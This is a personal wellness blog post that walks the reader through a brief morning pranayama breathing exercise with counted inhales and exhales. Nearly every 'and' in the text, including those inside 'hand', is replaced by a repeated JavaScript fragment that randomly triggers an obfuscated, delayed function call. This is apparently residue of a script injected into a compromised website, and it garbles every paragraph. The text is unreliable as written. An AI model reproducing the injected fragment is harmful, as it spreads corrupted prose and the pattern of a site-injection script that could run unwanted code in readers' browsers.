Morning Pranayama

6-Breathing-Exercises-to-Relax-in-10-Minutes-or-Less_0Start your day off with a quick andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and easy pranayama breathing exercise that will leave you feeling energized, light andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sunny, even on a cloudy day like today. Adopting a daily pranayama practice has many health benefits; one of my favorites includes coping with andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and lowering stress levels. Intentionally slowing your breath down helps to calm the mind andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and nervous system, which reduces the amount of stress hormones released when those firey moments arise. So start your weekend off stress-free andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and relaxed by taking 3 minutes of your day to practice the below pranayama.

Sit at the edge of your chair.
Try to straighten your spine.
Put one handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on your navel.
Put the other handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and on your heart center. Inhale through your nose.

Exhale out your nose.

Notice the position of your tongue. Let it soften, loosely placed.
Blubber your lips.
Roll your shoulders back.

Inhale through the nose for 1-2-3.
Exhale out for 1-2-3.
As you inhale, feel the breath in your lower handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and, then upper handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and.
As you exhale, feel both handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands sink back in.

Put your full attention on the breath.
Inhale to the lower handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 1-2- to the upper handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 3-4. Pause for 1.
Exhale out the nose 1-2-3-4. Pause for 1.
Continue this pattern.

Inhale to the lower handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 1-2- to the upper handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 3-4-5.
Pause for 1.
Exhale out the nose 1-2-3-4-5.
Pause for 1.

Move away from your computer when you finish reading this for your pranayama breath work. Turn away andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and close your eyes. Let your eyes soften andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and relax in your head. Do at least 10 rounds of this breath.  After 10 rounds bring your handom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}ands to your knees andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and take a few deep inhales andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and exhales here for at least 3 rounds.

Inhale 1-2-3-4.
Exhale 1-2-3-4.
Stay aware of the breath as you move through your day andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and if anything pops up during your day that may be less than ideal andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you begin to feel the stress rise, come back to this breath. A few deep breaths can make a huge difference.

ShineBright

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